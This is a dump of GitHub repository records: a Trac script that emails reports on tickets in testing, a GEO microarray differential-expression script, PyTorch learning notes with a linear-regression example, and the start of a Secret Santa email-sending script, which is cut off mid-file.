@staticmethod\n def txt(obj):\n if type(obj) is not str:\n obj = '\\n'.join(obj)\n return Response(obj, content_type='text/plain')\n\n @staticmethod\n def status(status_):\n return StatusResponse(status_)\n" } ]
13
esyr/trac-hacks
https://github.com/esyr/trac-hacks
38a0b5c86384f05e5035f758951618722712ad61
0d5d19f0ac3889298e32b513d31aeaf550cc1a44
99042b914e1d5531713b16ece361697b8a2915ce
refs/heads/master
2020-12-24T14:52:59.325371
2015-08-18T01:00:44
2015-08-18T01:00:44
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6370761394500732, "alphanum_fraction": 0.6430397033691406, "avg_line_length": 28.641414642333984, "blob_id": "e6530a8a7817aecb5c96bc3c7da889cbf84f9e44", "content_id": "6d1b60f4b52f30d84b36517ee477d795a0df973f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5869, "license_type": "no_license", "max_line_length": 180, "num_lines": 198, "path": "/mail_report.py", "repo_name": "esyr/trac-hacks", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n\n# if you want to test this script, set this True:\n# then it won't send any mails, just it'll print out the produced html and text\n#test = False\ntest = False\n\n#which kind of db is Trac using?\nmysql = False\npgsql = False\nsqlite = True\n\n# for mysql/pgsql:\ndbhost=\"localhost\"\ndbuser=\"database_user\"\ndbpwd=\"database_password\"\ndbtrac=\"database_of_trac\"\n#or for sqlite:\nsqlitedb='/path/to/trac/db/trac.db'\n#or if your db is in memory:\n#sqlitedb=':memory:'\n\n# the url to the trac (notice the slash at the end):\ntrac_url='https://trac.example.org/path/to/trac/'\n# the default domain, where the users reside\n# ie: if no email address is stored for them, username@domain.tld will be used\nto_domain=\"@example.org\"\n\nimport codecs, sys\nsys.setdefaultencoding('utf-8')\nimport site\n\n# importing the appropriate database connector\n# (you should install one, if you want to use ;)\n# or you can use an uniform layer, like sqlalchemy)\nif mysql:\n import MySQLdb\nif pgsql:\n import psycopg2\nif sqlite:\n from pysqlite2 import dbapi2 as sqlite\n\nimport time\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\ndb = None\ncursor = None\n\ntry:\n if mysql:\n db = MySQLdb.connect(host=dbhost, user=dbuser, passwd=dbpwd, db=dbtrac)\n if pgsql:\n db = psycopg2.connect(\"host='\"+ dbhost +\"' user='\" + dbuser + \"' password='\" + dbpwd + \"' dbname='\" + dbtrac + \"'\")\n if sqlite:\n db = sqlite.connect(sqlitedb)\nexcept:\n print \"cannot connect to db\"\n raise\n sys.exit(1)\n\ncursor = db.cursor()\n\nfields = ['summary', 'component', 'priority', 'status', 'owner', 'reporter']\n\n#I think MySQL needs '\"' instead of \"'\" without any ';',\n# with more strict capitalization (doubling quotes mean a single quote ;) )\n# so you'll have to put these queries into this format:\n# sql=\"\"\"query\"\"\" or sql='\"query\"' like\n# sql = '\"SELECT owner FROM ticket WHERE status !=\"\"closed\"\"\"\"'\n# for postgresql simply use:\nsql = \"select id, %s from ticket where status == 'testing' or status == 'pre_testing';\" % ', '.join(fields)\ncursor.execute(sql)\ntickets = cursor.fetchall()\ntickets_dict = {}\n\n# Reading last exec time\nlast_exec_path = '/var/local/trac_testing_tickets_notify_last_exec_timestamp'\nlast_exec = 0\ntry:\n f = open(last_exec_path, \"r\")\n last_exec = int(f.read())\n f.close()\nexcept:\n last_exec = 0\n\ncur_time = int(time.time())\nnotify_tickets = set()\ntime_quant = 86400 # seconts per day - frequence of reminds\nticket_url = 'https://trac.example.org/path/to/trac/ticket/'\n\nrecipient_list = ['recipient1@example.org', 'recipient2@example.arg', ]\n\nfor ticket in tickets:\n tickets_dict[ticket[0]] = {'id': ticket[0]}\n offset = 1\n for field in fields:\n tickets_dict[ticket[0]][field] = ticket[offset]\n offset += 1\n\n sql = \"select time from ticket_change where ticket == %d and field == 'status' and (newvalue == 'testing' or newvalue == 'pre_testing') order by time desc limit 1;\" % ticket[0]\n cursor.execute(sql)\n last_time = cursor.fetchall()\n if len(last_time) > 0:\n last_time = last_time[0][0]\n if (int((cur_time - last_time) / time_quant) != int((last_exec - last_time) / time_quant)) and int((cur_time - last_time) / time_quant) > 0:\n notify_tickets |= set([ticket[0], ])\n\n# No new tickets - aborting\nif len(notify_tickets) == 0:\n print 'No new tickets: aborting.'\n exit()\n\n#calculating column widths\ncolumn_widths = {}\nfor id in notify_tickets:\n for field, value in tickets_dict[id].iteritems():\n column_widths[field] = field in column_widths and max(column_widths[field], len(\"%s\" % value)) or max(len(\"%s\" % value), len(\"%s\" % field))\n\n#generating mail text\nmsg_header = \"\"\"\nList of tickets pending your attention:\n\"\"\"\nmsg_tail = \"\"\"\nTrac testing tickets notification script.\n\"\"\"\nheader_line_template = '|| %%(id)%ds ||' % (len(ticket_url) + column_widths['id'])\nnormal_line_template = '|| %s%%(id)%ds ||' % (ticket_url, column_widths['id'])\nline_template = ''\nfor field in fields:\n line_template += ' %%(%s)%ds ||' % (field, column_widths[field])\n\nheader = { 'id' : 'URL' }\nfor field in fields:\n header[field] = field\ntable_header = (header_line_template + line_template) % header\n\ntable = []\nfor id in notify_tickets:\n table.append((normal_line_template + line_template) % tickets_dict[id])\n\nmsg = '\\n'.join ([msg_header, table_header] + table + [msg_tail])\n\nhtmlmsg_header = '''\n<html>\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n </head>\n <body>\n <table>\n'''\nhtmlmsg_tail = '''\n </table>\n </body>\n</html>\n'''\n\nnormal_line_template = '<td><a href=\"%s%%(id)s\">%%(id)s</a></td>' % ticket_url\nline_template = ''\nfor field in fields:\n line_template += '<td>%%(%s)s</td>' % field\n\nhtmltable_header = '<tr><th>' + '</th><th>'.join(['Ticket'] + fields) + '</th></tr>'\nhtmltable = []\nfor id in notify_tickets:\n htmltable.append(('<tr>' + normal_line_template + line_template + '</tr>') % tickets_dict[id])\n\nhtmlmsg = '\\n'.join ([htmlmsg_header, htmltable_header] + htmltable + [htmlmsg_tail])\n\nimport email.Charset\nemail.Charset.add_charset('utf-8', email.Charset.SHORTEST, None, None)\n\nif test:\n print msg\n print\n print htmlmsg\nelse:\n mailmsg = MIMEMultipart('alternative')\n mailmsg['Subject'] = \"Report testing Tickets at %s\" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\n mailmsg['From'] = 'trac@example.org'\n mailmsg['To'] = ', '.join(recipient_list)\n\n part1 = MIMEText(msg, 'plain')\n part2 = MIMEText(htmlmsg.encode('utf-8', 'replace'), 'html', 'utf-8')\n\n mailmsg.attach(part1)\n mailmsg.attach(part2)\n\n s = smtplib.SMTP()\n s.connect()\n s.sendmail(mailmsg['From'], recipient_list, mailmsg.as_string())\n s.close()\n\n f = open(last_exec_path, \"w\")\n f.write(\"%s\" % cur_time)\n f.close()\n" } ]
1
rajashekarvarma/RIPGEO
https://github.com/rajashekarvarma/RIPGEO
ce8a0cc5de59b87659ada10541c7fd495a30df4a
5dff3fa2ce7d9bb72cc5d27bcf4d30b04445dfe1
d97f1ff9af71826f4541f4c6d5edcc3c704ded10
refs/heads/master
2020-06-12T05:58:32.760592
2019-07-01T11:43:50
2019-07-01T11:43:50
194,214,584
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5990111231803894, "alphanum_fraction": 0.6085290312767029, "avg_line_length": 38.439998626708984, "blob_id": "c7dee8e31fb2f1a072376059d18a64651720561d", "content_id": "ba34657400c3dc75f7a036169ce5caa3f3167b64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8090, "license_type": "no_license", "max_line_length": 185, "num_lines": 200, "path": "/RIPGEO.py", "repo_name": "rajashekarvarma/RIPGEO", "src_encoding": "UTF-8", "text": "import GEOparse # Python package to upload a geo data\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom scipy import stats\r\nfrom statsmodels.stats import multitest\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n############### Fetch Agilent data ###############\r\nprint('\\n\\n',\"******...Hi Welcome to RIPGEO...******\",'\\n\\n')\r\nGSE_ID = input('Please enter your GSE ID (ex:GSE62893): ')\r\n\r\nprint('\\n',\"Provided GSE ID: \",GSE_ID)\r\n\r\nprint('\\n',\"Intitating data extraction...\",'\\n\\n')\r\n\r\ngse = GEOparse.get_GEO(geo=GSE_ID, destdir=\"./\")\r\nplt_name=[]\r\n# print(gse.gpls)\r\nfor pl_name, pl in gse.gpls.items():\r\n plt_name.append(pl_name)\r\nplt_name=''.join(plt_name)\r\n\r\nprint(\"Platform Name:\", plt_name)\r\n\r\npivoted_control_samples = gse.pivot_samples('VALUE')\r\n# print(pivoted_control_samples.head())\r\n\r\n######## Filter probes that are not expressed worst 25% genes are filtered out\r\n\r\npivoted_control_samples_average = pivoted_control_samples.median(axis=1)\r\n# print(\"Number of probes before filtering: \", len(pivoted_control_samples_average))\r\nexpression_threshold = pivoted_control_samples_average.quantile(0.25)\r\nexpressed_probes = pivoted_control_samples_average[pivoted_control_samples_average >= expression_threshold].index.tolist()\r\n# print(\"Number of probes above threshold: \", len(expressed_probes))\r\n\r\nsamples = gse.pivot_samples(\"VALUE\").ix[expressed_probes]\r\n# print(samples.head())\r\n# print(gse.gpls[plt_name].table)\r\n\r\n######## Annotate matrix table\r\n\r\nsamples_annotated = samples.reset_index().merge(gse.gpls[plt_name].table[[\"ID\", \"GB_ACC\"]], left_on='ID_REF', right_on=\"ID\").set_index('ID_REF')\r\n\r\n# print(samples_annotated.head())\r\ndel samples_annotated[\"ID\"]\r\n# print(samples_annotated.head())\r\nsamples_annotated = samples_annotated.dropna(subset=[\"GB_ACC\"])\r\nsamples_annotated = samples_annotated[~samples_annotated.GB_ACC.str.contains(\"///\")]\r\nsamples_annotated = samples_annotated.groupby(\"GB_ACC\").median()\r\n# print(samples_annotated.index)\r\n\r\nprint('\\n','Column names from the matrix: ',samples_annotated.columns)\r\n\r\n######## Extract matrix data to a csv file\r\nexprs = []\r\ngsmNames = []\r\nmetadata = {}\r\n\r\nfor gsm_name, gsm in gse.gsms.items():\r\n # print(gsm.metadata['type'][0])\r\n if gsm.metadata['type'][0]=='RNA':\r\n # Expression data\r\n if len(gsm.table)>0:\r\n tmp = gsm.table['VALUE']\r\n # print(tmp)\r\n tmp.index = gsm.table['ID_REF']\r\n gsmNames.append(gsm_name)\r\n if len(exprs)==0:\r\n exprs = tmp.to_frame()\r\n else:\r\n exprs = pd.concat([exprs,tmp.to_frame()],axis=1)\r\n\r\nprint('\\n','Extracting metadata...','\\n')\r\n\r\n######## extract metadata to csv file\r\n\r\nfor gsm_name, gsm in gse.gsms.items():\r\n if gsm.metadata['type'][0]=='RNA':\r\n for key,value in gsm.metadata.items():\r\n # print(key)\r\n # print(value)\r\n if (key=='characteristics_ch1' or key=='characteristics_ch2') and (len([i for i in value if i!=''])>1 or value[0].find(': ')!=-1):\r\n # print(value)\r\n tmpVal = 0\r\n for tmp in value:\r\n splitUp = [i.strip() for i in tmp.split(':')]\r\n # print(splitUp)\r\n if len(splitUp)==2:\r\n if not splitUp[0] in metadata:\r\n metadata[splitUp[0]] = {}\r\n metadata[splitUp[0]][gsm_name] = splitUp[1]\r\n else:\r\n if not key in metadata:\r\n metadata[key] = {}\r\n metadata[key][gsm_name] = splitUp[0]\r\n else:\r\n if not key in metadata:\r\n metadata[key] = {}\r\n if len(value)==1:\r\n metadata[key][gsm_name] = ' '.join([j.replace(',',' ') for j in value])\r\n\r\n# Write expression data matrix to file\r\nexprs.columns = gsmNames\r\nwith open(GSE_ID+'exprs.csv','w') as outFile:\r\n exprs.to_csv(outFile)\r\n\r\n# Write metadata matrix to file\r\nwith open(GSE_ID+'metadata.csv','w') as outFile:\r\n outFile.write('Metadata,'+','.join(gsmNames))\r\n for key in metadata:\r\n tmp = [key]\r\n for gsm_name in gsmNames:\r\n if gsm_name in metadata[key]:\r\n tmp.append(metadata[key][gsm_name])\r\n else:\r\n tmp.append('NA')\r\n outFile.write('\\n'+','.join(tmp))\r\nprint('\\n','Data matrix and metadata for',GSE_ID,'have been written to',GSE_ID+'exprs.csv',GSE_ID+'metadata.csv @ cwd','\\n')\r\n\r\n######## select control and test sample columns\r\n\r\nsamples_annotated = samples_annotated.astype(float)\r\n\r\ncontrol_sample = input('Please enter column numbers of control samples (ex:0,2,4): ')\r\ncontrol_samples = control_sample.split(',')\r\ncontrol_samples = [int(i) for i in control_samples]\r\nTest_sample = input('Please enter column numbers of test samples (ex:3,5,7): ')\r\nTest_samples = Test_sample.split(',')\r\nTest_samples = [int(i) for i in Test_samples]\r\n\r\nprint('\\n','control samples column names entered:',control_samples,'\\n')\r\nprint('\\n','Test samples column names entered:',Test_samples,'\\n')\r\n\r\n######## perform t-test for the data\r\n\r\nprint('\\n','Performing independednt T Test on the selected data...'+'\\n')\r\nsamples_annotated[\"Ttest\"] = stats.ttest_ind(samples_annotated.T.iloc[Test_samples, :],samples_annotated.T.iloc[control_samples, :], equal_var=True, nan_policy=\"omit\")[1]\r\n\r\n######## perform anova\r\n# samples_annotated['Anova_one'] = [stats.f_oneway(samples_annotated.T.iloc[Test_samples, x],samples_annotated.T.iloc[control_samples, x])[1] for x in range(samples_annotated.shape[0])]\r\n# samples_annotated['Ttest'].to_csv('pvalues.csv')\r\n\r\n######## filter data based FDR (<0.05)\r\n\r\nsamples_annotated[\"FDR\"] = multitest.multipletests(samples_annotated['Ttest'], alpha=0.05, method='fdr_bh', is_sorted=False, returnsorted=False)[1]\r\n# print(samples_annotated.head())\r\nfiltered_samples = samples_annotated.sort_values(by=\"FDR\")\r\n\r\n\r\nf_samples = pd.DataFrame() \r\nf_samples['control'] = filtered_samples.T.iloc[Test_samples,:].mean() \r\nf_samples['test'] = filtered_samples.T.iloc[control_samples,:].mean() \r\nf_samples['p-value'] = filtered_samples['Ttest']\r\nf_samples['FDR'] = filtered_samples['FDR']\r\n######## calculate log2FC\r\n\r\nf_samples['log2FC'] = f_samples['test'].apply(np.log2) - f_samples['control'].apply(np.log2) \r\n\r\nprint('\\n','Calculating Log2 values of the data...','\\n')\r\n\r\nf_samples.to_csv('complete_unfiltered_data.csv')\r\n\r\n######## filter gene list based on log2FC\r\nf_samples = f_samples[f_samples[\"FDR\"] < 0.05]\r\nprint('\\n','Number of genes remaining after FDR filter of 0.05:',len(f_samples)) \r\n\r\n\r\nup_c = float(input('Please enter log2FC cutoff value for up regulation(ex:0.5): '))\r\ndwn_c = float(input('Please enter log2FC cutoff value for down regulation(ex:-0.5): '))\r\n\r\ndiff_up = f_samples[f_samples['log2FC'] >= up_c]\r\ndiff_down = f_samples[f_samples['log2FC'] <= dwn_c]\r\n\r\n######## write up and down regulated genes to csv\r\n\r\ndiff_up.to_csv('Upregulated_genes.csv')\r\ndiff_down.to_csv('Downregulated_genes.csv')\r\n\r\n######## plot log difference of upregulated and down regulated genes\r\n\r\nplot_y = input('Do you want to plot bar plot for log2 fold difference (yes/no): ')\r\n\r\nif plot_y == 'yes':\r\n diff = pd.concat([diff_up,diff_down])\r\n diff_vals = diff['log2FC'].sort_values()\r\n counter = np.arange(len(diff_vals.values))\r\n\r\n fig, ax = plt.subplots(figsize = (20,10))\r\n ax.bar(counter,diff_vals.values, width=0.5)\r\n ax.set_xticks(counter)\r\n ax.set_xticklabels(diff_vals.index.values, rotation=90)\r\n ax.set_title(\"Gene expression differences of Control vs Test\")\r\n ax.set_ylabel(\"log2 difference\")\r\n plt.show()\r\n print('\\n','Task completed...Output written successfully to current working directory.')\r\n\r\nelse:\r\n print('\\n','Task completed...Output written successfully to current working directory.')\r\n\r\n" }, { "alpha_fraction": 0.7098901271820068, "alphanum_fraction": 0.7120879292488098, "avg_line_length": 22.947368621826172, "blob_id": "37f740b5be30b77875837ab9082c1e4e1b97b4bb", "content_id": "aecc2b22cad0a2e491c9387f93eb54122813fec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 455, "license_type": "no_license", "max_line_length": 142, "num_lines": 19, "path": "/README.md", "repo_name": "rajashekarvarma/RIPGEO", "src_encoding": "UTF-8", "text": "# RIPGEO\n\n## RIPGEO-python3 based script to extract agilent expression matrix data from GEO(GSE) database and perform Differential Expression Analysis. \n\n Prerequisites\n \n Please make sure you have already installed following python modules \n Pandas\n Numpy\n Scipy\n Matplotlib\n Seaborn\n statsmodels\n\n \n \n### Usage \n\nExecute the RIPGEO.py script in the working directory and follow the on terminal instructions.\n" } ]
2
yyyujintang/PyTorch-Learning
https://github.com/yyyujintang/PyTorch-Learning
273318c49b4a435e112149ab3e5bd70f80e301ed
258ff3902bee2681427938a2babc65d3bcbb07f0
4c36cbc91a13c6edc8d999a31f59ad5325f9c105
refs/heads/master
2021-07-23T02:35:09.269329
2021-07-12T08:09:43
2021-07-12T08:09:43
233,372,774
3
0
null
null
null
null
null
[ { "alpha_fraction": 0.8311444520950317, "alphanum_fraction": 0.8574109077453613, "avg_line_length": 34.53333282470703, "blob_id": "2c099126d61c90d6851645f962e5fafdc1c921a5", "content_id": "576045c8c9e98c59b2ce8e8ba6a47072e355f33d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 961, "license_type": "no_license", "max_line_length": 163, "num_lines": 15, "path": "/README.md", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "# PyTorch-Learning\nPyTorch GitHub资料库整理\n\n### 参考资料:\n\n[PyTorch3d](https://pytorch3d.org/)\n\nPyTorch3D是一款基于PyTorch将深度学习与3D进行结合的研究框架。3D数据比2D图像更为复杂,在处理诸如Mesh R-CNN和C3DPO之类的项目时,需要用3D数据进行表示,在批处理和速度方面的诸多挑战。 PyTorch3D开发出许多用于3D深度学习的有用的运算符和抽象,并希望与社区共享以推动这一领域的新颖研究。\n\n[PyTorch Geometric](https://github.com/rusty1s/pytorch_geometric)\n\nPyTorch Geometric (PyG) 是一款基于PyTorch的图神经网络深度学习扩展库。PyG对已发表或者常用的图神经网络和数据集都进行了集成,因而是当前最流行和广泛使用的GNN库。\n\n[Detectron2]\nDetectron2 是 Facebook AI (FAIR)发布的下一代目标检测算法框架 。Detectron2是对Detectron项目的重构,也是maskrcnn-benchmark的替代框架。\n" }, { "alpha_fraction": 0.6119505763053894, "alphanum_fraction": 0.6325549483299255, "avg_line_length": 32.86046600341797, "blob_id": "5bb7589f3f68bacd063f0ea1c67bc3e0640742f8", "content_id": "2c27f6d61355334b749112d305fc9810f6f5ea89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1456, "license_type": "no_license", "max_line_length": 134, "num_lines": 43, "path": "/src/Linear_Regression.py", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "import numpy as np\n\ndef computer_error(b,w,points):\n totalerror = 0\n for i in range (0,len(points)):\n x = points[i,0]\n y = points[i,1]\n totalerror += (y-(w*x+b))**2\n return totalerror / float (len(points))\n\ndef step_gradient(b_current,w_current,points,learningrate):\n b_gradient=0\n w_gradient=0\n N =float(len(points))\n for i in range (0,len(points)):\n x = points[i, 0]\n y = points[i, 1]\n b_gradient += -(2/N)*(y-((w_current*x)+b_current))\n w_gradient += -(2/N)*x*(y-((w_current*x)+b_current))\n new_b=b_current-(learningrate*b_gradient)\n new_m=w_current-(learningrate*w_gradient)\n return[new_b,new_m]\n\ndef gradientt_descent_runner(points,starting_b,starting_m,learningrate,num_iterations):\n b=starting_b\n m=starting_m\n for i in range (num_iterations):\n b,m=step_gradient(b,m,np.array(points),learningrate)\n return [b,m]\n\ndef run():\n points=np.genfromtxt(\"data.csv\",delimiter=\",\")\n learningrate=0.0001\n initial_b=0\n initial_m=0\n num_iterations=1000\n print(\"strating gradient descent at b={0},m={1},error={2}\".format(initial_b,initial_m,computer_error(initial_b,initial_m,points)))\n print(\"Running...\")\n [b,m]=gradientt_descent_runner(points,initial_b,initial_m,learningrate,num_iterations)\n print(\"After{0} iterations b={1},m={2},error={3}\".format(num_iterations,b,m,computer_error(b,m,points)))\n\nif __name__ =='__main__':\n run()\n" }, { "alpha_fraction": 0.6892430186271667, "alphanum_fraction": 0.6932271122932434, "avg_line_length": 14.21212100982666, "blob_id": "d2173e272c1aeeaec165ccb6ef9778c391edb3e5", "content_id": "0ee142733381f38fdad72073bb5768da12ba3f0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 620, "license_type": "no_license", "max_line_length": 60, "num_lines": 33, "path": "/Linear_Regression初探.md", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "# Linear Regression初探\n\neg loss=x^2*sin(x)\n\n高中求极值:求导数,找导数为0 点,判断是否为极大值或极小值\n\n梯度下降法:X'=X-δX(Y在X处的导数) 每一步迭代\n\n### Linear Regression实现\n\nlearning rate学习速率X'=X-lr*δX(lr is short for learning rate)\n\n### 求解Linear Regression\n\n#### comput_error\n\n![comput_error](/img/comput_error.PNG)\n\n#### step_gradient\n\n![step_gradient](/img/step_gradient.PNG)\n\n#### gradient_descent_runner\n\n![gradient_descent_runner](/img/gradient_descent_runner.PNG)\n\n#### run\n\n![run](/img/run.PNG)\n\n#### 输出\n\n![LR_output](/img/LR_output.PNG)\n" }, { "alpha_fraction": 0.4761727452278137, "alphanum_fraction": 0.5167535543441772, "avg_line_length": 13.16384220123291, "blob_id": "1fd2b563c97e4139504d4e4bfdd7a73dfcc2ae9f", "content_id": "ca1eab48f7116f82c7032204ea56607bfeb3d54b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2788, "license_type": "no_license", "max_line_length": 122, "num_lines": 177, "path": "/PyTorch100题_Day3.md", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "# PyTorch100题_Day3\r\n\r\nID:小隐隐于野\r\n\r\n### chapter 1 Exercises\r\n\r\n1. Start Python to get an interactive prompt.\r\n\r\n - What Python version are you using: 2.x or 3.x?\r\n\r\n ```python\r\n !python -V\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n Python 3.7.4\r\n ```\r\n\r\n \r\n\r\n - Can you import torch? What version of PyTorch do you get?\r\n\r\n ```python\r\n import torch\r\n torch.__version__\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n '1.4.0'\r\n ```\r\n\r\n \r\n\r\n - What is the result of `torch.cuda.is_available()`? Does it match your expectation based on the hardware you’re using?\r\n\r\n ```python\r\n torch.cuda.is_available()\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n True\r\n ```\r\n\r\n2. Start the Jupyter Notebook server.\r\n\r\n - What version of Python is Jupyter using?\r\n\r\n ```python\r\n import sys\r\n sys.version\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n '3.7.4 (default, Aug 9 2019, 18:34:13) [MSC v.1915 64 bit (AMD64)]'\r\n ```\r\n\r\n \r\n\r\n - Is the location of the torch library used by Jupyter the same as the one you imported from the interactive prompt?\r\n\r\n ```python\r\n torch.__config__\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n <module 'torch.__config__' from 'D:\\\\Anaconda3\\\\lib\\\\site-packages\\\\torch\\\\__config__.py'>\r\n ```\r\n\r\n### chapter 2 Exercises\r\n\r\n1. Create a tensor a from `list(range(9))`. Predict then check what the size, offset, and strides are.\r\n\r\n ```python\r\n a = list(range(9))\r\n a = torch.Tensor(a)\r\n print(a)\r\n print(a.size())\r\n print(a.storage_offset())\r\n print(a.stride())\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n tensor([0., 1., 2., 3., 4., 5., 6., 7., 8.])\r\n torch.Size([9])\r\n 0\r\n (1,)\r\n ```\r\n\r\n \r\n\r\n2. Create a tensor `b = a.view(3, 3)`. What is the value of `b[1,1]`?\r\n\r\n ```python\r\n b = a.view(3, 3)\r\n b[1, 1]\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n tensor(4.)\r\n ```\r\n\r\n \r\n\r\n3. Create a tensor `c = b[1:,1:]`. Predict then check what the size, offset, and strides are.\r\n\r\n ```python\r\n c = b[1:, 1:]\r\n print(c)\r\n print(c.size())\r\n print(c.storage_offset())\r\n print(c.stride())\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n tensor([[4., 5.],\r\n [7., 8.]])\r\n torch.Size([2, 2])\r\n 4\r\n (3, 1)\r\n ```\r\n\r\n \r\n\r\n4. Pick a mathematical operation like cosine or square root. Can you find a corresponding function in the torch library?\r\n\r\n ```python\r\n import math\r\n math.sin(1)\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n 0.8414709848078965\r\n ```\r\n\r\n ```python\r\n a = torch.Tensor([1])\r\n a.sin()\r\n ```\r\n\r\n 运行结果\r\n\r\n ```python\r\n tensor([0.8415])\r\n ```\r\n\r\n \r\n\r\n5. Is there a version of your function that operates in-place?\r\n\r\n```python\r\na.sin_()\r\na\r\n```\r\n\r\n运行结果\r\n\r\n```python\r\ntensor([0.8415])\r\n```\r\n\r\n" }, { "alpha_fraction": 0.6960784196853638, "alphanum_fraction": 0.7176470756530762, "avg_line_length": 13.393939018249512, "blob_id": "cb6cb9504db5b0d85ff946d995b2702095fd8d12", "content_id": "7cc9495f7dce53d4d4b6fbfff56e951b331c9bcc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 736, "license_type": "no_license", "max_line_length": 78, "num_lines": 33, "path": "/PyTorch开发环境准备.md", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "# PyTorch开发环境准备\r\n\r\n### 开发环境\r\n\r\n- Python3.7+Anaconda 5.3.1\r\n- CUDA 10.0 只能运行在NVIDIA显卡上\r\n- Pycharm Community\r\n\r\n### 安装NVIDIA显卡驱动\r\n\r\nNvidia强制默认安装在C盘(即使更改解压目录也没用)在C:/Program Files/NVIDIA GPU Computing Toolkit文件夹下\r\n\r\nnvcc.exe \r\n\r\n将C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v10.0\\bin添加到环境变量\r\n\r\n在cmd中输入nvcc -V查看版本信息\r\n\r\n### 安装PyTorch\r\n\r\n在PyTorch官网选择对应的版本\r\n\r\n![](/img/PyTorch_download.PNG)\r\n\r\n在Anaconda Prompt中使用对应命令进行安装\r\n\r\n### 测试是否安装成功\r\n\r\n在Pycharm中import torch\r\n\r\n输出torch版本和是否可以使用GPU\r\n\r\n![](/img/test.PNG)\r\n\r\n" }, { "alpha_fraction": 0.6751824617385864, "alphanum_fraction": 0.7171533107757568, "avg_line_length": 11.095237731933594, "blob_id": "25f99a2c86bdc9e081596c11b994f2dc0a267b58", "content_id": "619f2d6471187b0a056db5d0ca8a2529ff7b737c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 898, "license_type": "no_license", "max_line_length": 67, "num_lines": 42, "path": "/Day1PyTorch历史与特点.md", "repo_name": "yyyujintang/PyTorch-Learning", "src_encoding": "UTF-8", "text": "# Day1PyTorch历史与特点\r\n\r\n### PyTorch历史\r\n\r\n2002年发布Torch\r\n\r\n2016年发布PyTorch 0.1\r\n\r\n2018年12月发布1.0,基于CAFFE2\r\n\r\nTensorflow目前稳居第一,但PyTorch热度增长速度很快\r\n\r\n### 动态图和静态图的区别\r\n\r\n动态图:eg基于四个变量,做矩阵乘法加法运算,激活函数,计算图与代码同时进行\r\n\r\n静态图:eg.tensorflow。一次成型,自建命名体系,用Python写的时候非常麻烦,tensorflow2.0能支持动态图优先\r\n\r\n### 深度学习库能做什么\r\n\r\n- GPU加速\r\n\r\n- 自动求导:深度学习是导数编程\r\n- 常用网络层API\r\n\r\nTensor运算\r\n\r\n- Torch.add\r\n- Torch.mul\r\n- Torch.matmual矩阵乘法\r\n- Torch.view展开\r\n- Torch.expand扩展\r\n- Torch.cat\r\n\r\n神经网络\r\n\r\n- Nn.Linear全连接层\r\n- Nn.ReLU激活函数\r\n- Nn.Conv2d二维的卷积操作\r\n- Nn.Softmax\r\n- Nn.Sigmoid\r\n- Nn.CrossEntropyLoss" } ]
6
ramimanna/Email-Secret-Santa
https://github.com/ramimanna/Email-Secret-Santa
8cb3578030da8a3a0cbad503dec6f5d63036b366
689c30c39b5290d662b3038e83237b3a1509775f
6c2cdfe1f0a0b09057857e969a603a5336f2bc2c
refs/heads/master
2021-05-16T18:48:46.250047
2020-03-27T03:14:59
2020-03-27T03:14:59
250,426,142
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6707670092582703, "alphanum_fraction": 0.6743849515914917, "avg_line_length": 26.078432083129883, "blob_id": "52f53e80b281228a5cdfba0704ecfa578e75c81b", "content_id": "65a07a4b721fb35636bd94e5ae58bca6983e3c56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1382, "license_type": "no_license", "max_line_length": 67, "num_lines": 51, "path": "/send_email.py", "repo_name": "ramimanna/Email-Secret-Santa", "src_encoding": "UTF-8", "text": "import os\nimport random\nimport smtplib # Email\nfrom dotenv import load_dotenv # For getting stored password\n#import getpass # For dynamically enter password\n\nload_dotenv()\n\nusername = input(\"E-mail: \") # e.g. \"your_gmail_to_send_from@gmail.com\"\npassword = os.getenv(\"PASSWORD\") # alternatively: getpass.getpass()\n\ndef santa_message_body(santa_assigment):\n return f\"Your secret santa assignment is {santa_assigment}.\"\n\ndef send_email(to_person, to_email, subject, message_body):\n\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.ehlo()\n server.starttls()\n server.login(username, password)\n \n sender_name = \"Rami Manna\"\n message = f\"\"\"From: {sender_name} <{username}>\nTo: {to_person} <{to_email}>\nMIME-Version: 1.0\nContent-type: 